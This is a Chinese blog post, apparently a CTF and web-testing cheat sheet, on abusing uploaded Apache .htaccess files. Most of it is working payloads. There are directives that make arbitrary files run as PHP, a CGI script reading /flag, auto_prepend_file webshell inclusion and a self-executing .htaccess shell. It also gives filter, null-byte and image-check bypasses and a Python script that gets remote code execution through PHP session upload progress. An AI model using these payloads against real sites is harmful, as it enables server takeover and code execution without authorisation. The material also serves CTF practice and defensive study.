.htaccess相关问题

背景

有的时候由于各种名单的原因,可能我们只能上传任何php文件,而且还没有其他地方来解析成php,但是如果能上传.htaccess文件的话,这个问题就能引刃而解了

原理

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置;通过htaccess文件 ,可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表配置默认文档等功能

.htaccess攻击

用法一:
建一个.htaccess 文件,里面的内容如下:(指定文件名的文件,才能被当做PHP解析)

通过.htaccess文件,调用php的解析器解析一个文件名为H3rmesk1t的任意文件

<FilesMatch "H3rmesk1t">
SetHandler application/x-httpd-php
</FilesMatch>

用法二:
建一个.htaccess 文件,里面的内容如下:(将该目录下的所有文件解析为php文件来执行)

SetHandler application/x-httpd-php

用法三:
编辑.htaccess,内容为:
这种方式利用了apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
可添加参数?refresh=n来实现每隔ns自动刷新
例如:127.0.0.1/server-status?refresh=5

SetHandler server-status

用法四:
编辑.htaccess,内容为:
这种方法条件为apache加载了cgi_module,开启了fastcgi也是可以利用的
编辑1.xx(注意格式比较严格)

Options +ExecCGI
AddHandler cgi-script .xx
#! /bin/bash

echo Content-type: text/html

echo ""

cat /flag

在这里插入图片描述

用法五:
编辑.htaccess,内容为:
编辑webshell,内容为:
这种方式可通过php_value来配置PHP的配置选项;另外php_flag name on|off用来设定布尔值的配置指令
由图可知,.htaccess可以使两种配置模式生效:PHP_INI_PREDIR和PHP_INI_ALL
可查看php.ini配置选项列表,从中寻找可利用的配置项
(1)使用文件包含的两个相关配置
auto_prepend_file:指定一个文件,在主文件解析之前自动解析
auto_append_file:指定一个文件,在主文件解析后自动解析
由于通过设置这两个选项进行文件包含,那么便可使用相关的php协议流,如php://filter,可用来绕过对一些关键字的检测
(2)绕过preg_math的配置
(3)利用inclue_path包含恶意文件
(4)强制开启短标签
(5)利用error log写本地文件 (html编码)

1)
php_value auto_prepend_file webshell
or
php_value auto_append_file webshell
<?=phpinfo();
2)
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
3)
 php_value include_path "/tmp"
4)
php_value short_open_tag 1
5)
 php_value error_log /tmp/fl3g.php
 php_value error_reporting 32767

在这里插入图片描述

用法六:
(1)禁用拒绝规则,使.htaccess可访问(默认情况下,.htaccess是不可访问的)
编辑.htaccess文件,添加如下配置
(2)直接使用.htaccess shell
例如下面这个.htaccess文件,首先设置了禁用拒绝规则,这样便可直接访问到.htaccess;接着用SetHandler将所有文件作为php解析,最后写入php代码,开头用#注释掉,这样便可成功解析.htaccess,然后解析php

(1)
<Files ~ "^.ht">
    Require all granted
    Order allow,deny
    Allow from all
</Files>
(2)
<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

用法七:
AddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析
AddType media-type extension [extension] …
编辑.htaccess,内容为:
便会将以.a为后缀的文件解析为php

AddType application/x-httpd-php .a
AddType application/x-httpd-php png  jpg gif

.htaccess在重定向中的利用

RewriteCond %{REQUEST_FILENAME} !-d
如果不是目录,才会执行下一条RewriteRule

RewriteCond %{REQUEST_FILENAME} !-f
如果不是文件,才会执行下一条RewriteRule
Tokyo Westerns / MMA CTF 2nd 2016应用
题目要求访问/admin,但访问需要登录密码(是在Apache中设置的),但是密码破解难度极大,并且不存在其他绕过技巧(maybe);只有.htaccess重定向绕过的方法可行

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]
然后访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码

注:
RewriteRule ^ index.php [QSA,L]
标签 [QSA,PT,L]
QSA:表示保留参数如get传值?xxx==xx…;
PT:再把这个URL交给Apache处理;
L:作为最后一条;

.htaccess的shell

参考链接

Bypass方式

一、关键字检测
(1) 如果过滤了.htaccess常用的关键字,此时可以使用反斜线来绕过对关键字的过滤,反斜线后需要加上换行符,并且反斜线前和关键字无空格
(2)如果检测不能含有<?等php字符串,那么此时可先将shell字符串进行编码,然后在文件包含时通过php://filter解码
(3)通过UTF-7、UTF-16等进行编码

1)
AddT\
ype application/x-httpd-php .abc

在这里插入图片描述

2)
AddType application/x-httpd-php .abc
php_value auto_append_file php://filter/convert.base64-decode/resource=1.abc

在这里插入图片描述

3)
AddType application/x-httpd-php .aaa
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

之后将后缀.aaa文件的内容进行相应编码即可

在这里插入图片描述

二、拼接无用字符串
(1)可以使用#来注释掉后面拼接的多余内容,#需要和前面的内容隔一个空格,并且#只能注释一行内容,可以使用反斜线来转义换行符,从而注释多行内容
(2)除了#外,0x00也可以当注释符,使用write.php脚本写入.htaccess

1)
AddT
ype application/x-httpd-php .abc #
asdf 
asdf

该.htaccess文件是可以生效的
2<?php
$data = urldecode('AddType application/x-httpd-php .abc%0a%00asdf');
file_put_contents('.htaccess', $data);

三、文件格式检测
如果使用exif_imagetype检测上传的文件的第一个字节来判断文件类型,那么只要是图像格式以#或0x00开头便可绕过
(1)使用XBM图像,使用PHP生成图像(需安装GD库)
(2)使用WBMP图像,使用PHP生成图像

1<?php
// 创建空白图像并添加文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// 保存图像
imagexbm($im, '1.png');

// 释放内存
imagedestroy($im);
?>
那么可以在.htaccess前面加上:(1_png_width以及1_png_height是根据文件名进行拼接生成的)

#define 1_png_width 120
#define 1_png_height 20

便可绕过对文件格式的检测
2<?php
$img = imagecreatetruecolor(20, 20);
imagewbmp($img, '1.wbmp');
?>

在这里插入图片描述

四、其他字符限制
若过滤了<、数字、:等,此时便不能使用php://filter或者UTF编码的方式绕过了;可尝试利用.htaccess设置包含指定的文件;例如对于session文件,可通过包含上传文件产生的临时session进行RCE
查看配置文件,发现大部分session相关的配置都是可以通过.htaccess修改的
那么我们可以在不知道session存储路径的情况下,通过session.save_path指定存储路径,并且可以将session.upload_progress.cleanup设置为off,这样便可无需条件竞争来将代码写到session文件中,从而包含rce

.htaccess编写
php_value auto_append_file "/tmp/sess_gtfly"
php_value session.save_path "/tmp"
php_flag session.upload_progress.cleanup off

然后运行

import requests
url='http://127.0.0.1/test.php'
headers={
    "Cookie":'PHPSESSID=gtfly'
}
files={
    "upload":''
}
data={
    "PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo system('whoami'); ?>'''
     }
r = requests.session()
r.post(url,files=files,headers=headers,data=data)
t = r.get('http://127.0.0.1/test.php',headers=headers)
print(t.text)

在这里插入图片描述
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值